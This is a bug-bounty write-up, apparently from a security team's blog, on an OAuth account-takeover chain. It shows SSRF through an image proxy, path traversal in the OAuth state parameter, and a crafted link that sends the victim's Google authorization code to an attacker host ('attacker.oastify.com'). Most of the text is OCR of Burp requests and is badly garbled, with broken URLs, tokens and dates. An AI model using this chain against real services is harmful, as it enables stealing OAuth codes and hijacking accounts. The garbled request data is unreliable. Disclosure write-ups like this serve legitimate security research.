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Recon

The program required a specific cookie like usertest=hash for the website to work. After setting it, |
opened Burp Suite and started exploring the application's functionality to understand how the
target operates.

OAuth Authorization Flow

The target had OAuth login via Google, Microsoft, and Slack. After tracing the flow end-to-end, |
mapped it to five HTTP requests:

Request 1 — initial click, redirect to the company's main website:

Request Response
Raw ex = n =

d&product=

4 set-cookie: login_remembe
HTTPONly
5 set-cookie: googleSsoRegi

Request 2 — redirect to the Google login page:


https://blog.voorivex.team/

Request
Raw Hex
1 GET fssnRequest’url_

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 10.15; rv:189.0)
Gecko/20100181 Firefox/113.0

4 Accept:
text/html,application/xhtml+xml, application/xml;q=0.9,image/avif, imag
e/webp,*/*;q=0.8

5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate 18

7 Referer: https://1337.@staging.app/

Send & Follow redirection

Request
Raw Hex

1 GET /o/cavth2/auth?client_id=
1090589527038 3’{d111v, jormmel5kd32km8mlcmfé9. apps.googlevsercontent
.com&redir s:// . app/ssoResponse&response_type=code&
scope= Bprofil &stdie-
https://1337 . s ta g.app/users/googleFederatedLoggedIn?state%:3D2
13f24ba202bess5h7228&0penid. realm=https: / /. app&
include_granted_scopes=true HTTP/2

2 Host: accounts.google.com

Response
Raw Hex

1 HTTP/1.1 382 Found

2 Date: Fri, 17 Nov 20823 B87:24:28 GMT

3 Content-Length: @

4 Connection: close

5 location:
https://accounts.google.com/o/oauth2/auth?client_id=1098589527838-asf
dtqm?7njormmelSkd32km8mlcmfé9 . apps.googlevsercontent. comkredirect _uri
=https:/ /(- app/ssoResponse&response_type=code&scope=email%20profi
lekstate=https://1337 .@Estaging.app/users/googleFederatedLoggedIn?

D98af5c7fad4bées83fdbfiopenid. realm=https: // . app&include_g

& cache-control

7 strict-transport-security: max-age=31536088

8 x-content-type-options: nosniff

9 x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin

11 reporting-endpoints: csp-reports="/reports/csp/endpoints"

Response

Pretty Raw Hex Render

1 HTTP/2 382 Found

2 Content-Type: text/html; charset=UTF-8

3 X-Frame- Optluns DENY

4 P3p: C s is not a P3P policy! See
http:/ .google.com/support/accounts/bin/answer.py?hl=en&answer=151
657 for more info."

5 Set Cookie: ,Host—GAPS:

tBavxbPo_urPd32fCWydpaTGD1TQPObAGXx2WhLjy28Kn
url-ul‘f‘/f—ﬁ CQuQirxg_JIn-LrY;Path=/;Expires=5un,

16-Nov- 2025 B87:39:81 GMT;Secure; Htiuﬂnlv Pr10r1tv HIGH

& Cache-Control: no-cache, no-store, max-age=0, must-revalidate

7 Pragma: no-cache

3 Expires: Mon, B1 Jan 1990 08:80:00 GMT
Date: + 17 Nov 2823 @7:39:81 GMT

8 Location:
https://@E.2pp/ssoResponse?state=https%3A%2F%2F1337 .= taging. a
pp%2Fusers%2FgoogleFederatedloggedIn®%3Fstate®30213f24ba282beb65b7228c
ode=4%2FBAFIoNXLn9t3S08pDs1MSBBTsulucx1tLkk2SIS3d_KRPGvL “°EL:0h6M<4L
BnaI52UAIwkscope=e ail+pro'i1€'+ht‘

Fuserinfo.ema 1

serinfo. DrO‘l1E&HULhUSAP anrcmnt none

11 Origin-Trial:

Request
Raw Hex
1 GET ,-’ssoRespnnse’ stale-

EGgHpV1Z1E0%cN2xB8pGF7wx38p4SwdibDeWLAmcUal

info.emai
openid&

cookie issued:

Response
Raw Hex

1 HTTP/1.1 382 Found

2 Date: Fri, 17 Nov 2823 07:44:82 GMT

5 Content-Length: 8
Connection: close
location:
https://1337 staging. app/users/googleFederatedLoggedIn?state=213
T24ba2B2beb65b722kcode=4%2FBATIohXkdwHvTShye®1KvGm_EGgHpVIZ1EO9cNzx8p
Gf7wx38p4a5SwdiDeWLAmcUol9G6w-PA

6 cache-control: no-cache

7 strict-transport-security: max-age=31536080
x-content-type-opticns: nosniff

9 x-permitted-cross-domain-policies: none

Request Original response

= n

1 GET [users/googleFederatedLoggedIn?state=213F24ba2682be66507226code=
JohXkdwHvTShyeBlKvEm_EGgHpV1Z1E09cNzxBpGf 38p45wdiDeNLAmcU
ol PA HTTP/1.1
2 Host: 1337 .@staging.app
3 Cookie: usertesting=B80aKé&4qVs eL3QUUTBUErjTs+7Rzf; return_url=
["/user/35697 InterruptWithPayments=1"]; lucid_cookie_test_local=
dev; abTestVisitorAssignments=
[ ;-mcu**Sraw -rjstﬁ dardAbTestWithRegistrationWindow"]; ab_id=
4118bdc367a3 lt-session-data=
faf?lShhcaé,a?S 522%2C% stlUpdatedDate%22%3
19.6722%22%70; 1t-pageview-id=
‘0 Lngin 1;
gnogleSsnRngster‘Snurce =regis 1; ?GS false;
random_token=213f24ba202besb50722; singleSignOnIntendedProduct=
Lucidchart
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wind4; x64)

Raw Hex

1 HTTP/1.1 383 See Other

2 vary: Origin

3 location: /user/3569
set-cookie: register_level_id=; Max-Age=0; Expires=Thu, 81 Jan 1976
BO:00:00 GMT; SameSite=None; Path=/; Secure

5 set-cookie: direct_to_buy=; Max-Age=8; Expires=Thu, 81 Jan 1978
B0:80:08 GMT; SameSite=None; Path=/; Secure

6 set-cookie: googleSsoRegisterSource=; Max-Age=8; Expires=Thu, 81

Jan 1970 08:00:00 GMT; Path=/

7 set-cookie: login_rememberme=; Max-Age=0; Expires=Thu, 01 Jan 1970

00:00:00 GMT; SameSite=None; Path=/; Secure

5 set-cookie: userId=3549; Max-Age=31536080; Expires=Sat, 16 Nov 2824
07:37:44 GMT; SameSite=None; Path=/; Dontain:-staging.app;
Secure

9 set-cookie: @euth=

fcclB98a461fe4bl14852a611edB45ed702b09132fdBF1et8245b3960Fdcadbsf-ts
%301700206662%2560 3D3549; Max-Age=31536800; Expires=Sat, 16 Nov

| tried manipulating redirect_uri at request 4, but the regex was strictly fixed to the company's

domain. Even an open redirect wouldn't help — th

e parameter just couldn't be changed. | moved




on to other features.

Change Profile Picture Flow

The "Update Profile Picture" call caught my attention:

Request
Pretty Raw Hex

1 PUT /userAvatars/3549 HTTP/1.1
) Host: users-1337. @staging.app

3 Cookie: @l auth=
fccl898a461fe4b14852a611edB845ed702b09132Fd8T1eb68245h3960Fdcasdbbf-1ts%3

D1700206662%26uid%ED ;

4 4
"AvatarUrl":
"https://images-1337. @ staging.app/images/8b807cel-2d7d-4f8b-986
1-47e56c9cacd8/content™
}

The first instinct was SSRF, so | dropped a Burp Collaborator URL into AvatarUrl :

"AvatarUrl":

"https://k2npo3v2vi9xruhu9u2cnéhvrmxdl4csl.oastify.com/images/8b807
cel-2d7d-4f8b-9861-47e56c%cacd8/content”

The Collaborator pinged back, which confirmed a server-side fetch was happening:



FET /images/Bb807cel-2d7d-4f8b-9861-47e56c9cacd8/content HTTP/1.1

: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
» 21ef7e752d3b6452
32c33dc5036acl47

Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.15; rv:109.0) Gecko/20100101
al-IP: 45.155.64.43

L np03v2v19xruhu9u2cn6hvrmxdl4csl.oastify.cnm
Connection: Keep-Alive

The browser doesn't fetch the avatar directly — there's a reverse proxy in the middle. After
examining the rendered DOM | caught this image-proxy request:

Request Response
Raw Hex
1 GET
;1mauuPru.,fhtTp; //k2npo3v2vigxruhufu2enéhvrmxdl4csl.oastify.com/ima
ges/8b8@7cel-2d7d- -47e56ccacd8/content HTTP/1.1
2 Host: 13374D:tag ]

| tried gopher, file, redirect-to-protocol-switch, SVG XSS/LFI, port scanning — everything was locked
down. | moved on.

Chain Vulnerability Flow

Coming back to my notes, | realised: the reverse proxy takes a URL as a path and sends a GET
request to whatever the URL is. Look at request 5 — the provider code arrives in the GET
parameter. If | can get the OAuth flow to land on:

GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1

| get the code. Examining the parameters Google's OAuth screen accepts:



GET /v3/signin/identifier?
opparams=%253Fopenid.realm%253Dhttps%25253A%25252F%25252Ftarget . app&dsh=51057930755%3A1691229355926009&
client_id=1090589527038-
asfdtgm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com&include_granted_scopes=true&o2v=1&
&response_type=code&scope=email+profile&service=1s0&s http
F1377.targetstaging.ap| Fusers%2FgoogleFederatedlLoggedI state%3Dac5c655e384a555cdB8ackflowName=Gen
eralDAuthFlow&cont inue=httpss%3A%2F%s2Faccounts. google. coms2Fsignin%s2Foauth%s2Fconsent%s3Fauthusers3Dunknow
n%26part%3DAJ i8hAPrsUviWubX4CBEMWGWI3GwSw731Cd8M06alXaaBv9 _TjIqtWkdi27owMBwcT3jvWYEvbssZ-
U2caCMb2rv63DG4qc jnrb@MiX40IkV54Mvig5004MhMsRzSMr6ls8wlj-o8fIpIkUlp jmwhiwe-xf4hWygMr5A0mXpoQk3zmbFG-
M47r22ykurmHfAV_q15AcgvcCkr8Yk _VUXP5citc@AUEpFZI_11cW-hfRNcRf11FvxKU7d-
20208kg46kzkulDtg2eWPYmT49XYK260IWy j3DyK8H7z1sAw4VgXDyyL81 jIp0qgIBjKokrrIHYom2vnkh3vu4JYuN4nkHVGRTqR16
jnLziewI2dS8Zum0@2kwDPF--T4uAEpRRmoGyDph-
FDbeFNZys1miUSRXzcWXIXCVjucvKnHpAbxGkqgLY jB@ibpRTYIIBLPclPU7YAJI3fIzTkT52zInIDATZ-
fnfbQNjpSMA%26a5%3DS1057930755%253A1691229355926009%26c Lient _1d%3D1090589527038-
asfdtgm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com%23&app_domain=https%3A%2F%2Ftarget.app&rart
=ANgoxccWuxRUSNIAHXw7 LkCF3Ce3kE3i_DkxFoGfttKL_tEpCQHLltxatco7e0D6QbIZ_LON_tHvBd1lvylRLETsqQzTbhde2fcWA
HTTP/2
Host: accounts.google.com

redirect_uri is fixed. state is interesting — its value is passed back to the main company site after
auth, and the main site validates and redirects the user to the URL inside state with the code
attached (this is request 4):

o0 @

Request:
GET /ssoResponse?

https://www.googleapis.com/auth/userinfo.profile openid&authuser=0&prompt=none HTTP/2
Host: target.app

Response:

HTTP/2 302 Found

Date: Sat, 05 Aug 2023 00:36:31 GMT
Content-Length: 0

Location: htt

I now had to abuse the reverse proxy via the state parameter:

1. https://1377.targetstaging.app/users/googleFederatedLoggedIn

2. https://1377.targetstaging.app/imageProxy/




The state-checker regex was strict — almost any change returned 403, except appending
characters to the path. The site accepted links like:

https://1377.targetstaging.app/users/googleFederatedLoggedIn/*

So | tried path traversal:

200

https://1377.targetstaging.app/users/googleFederatedLoggedIn/. ./

It worked — I could climb back a directory. Three levels back let me redirect to whatever path |
wanted, with the code in tow:

0@

https://sub.target.app/users/googleFederatedLoggedIn/../../../imageP YOUR COLLABRATION}

| could now build a malicious link using either the target site or the provider as the entry point:



https://target.app/ssoRequest?
url=https%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Fauth%s3Fclient_1d%3D1090589527038-

get.app%2FssoRespons
5 ul

https%3A%2F%2Faccounts.google. com%2Fo%2Foauth2%2Fauth%s3Fclient 1d%3D1090589527038-
asfdtgqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com%26redirect_uri%s3Dhttpss3
i |

s253Dac5c655e384a555cd8ac

When the victim clicked either link and signed in, the provider code arrived at my Collaborator
endpoint. Plug it into request 5 victim's account.

Pn3NBu8T
ccept: t/html )licatio application/xml;q=0.9, i g D H S
ser—-Agent: il Ja £ i 3 16 F fox/116.0
4 ¥-B3-Traceld 346 i
5 X-B3-Spanld: B65:
5 X-B3-Sampled: 1
Original-User-Agent:

Original-External-IP: 45.15
) Host: bv 51
onnection: Keep-Al

| hope you enjoy :)
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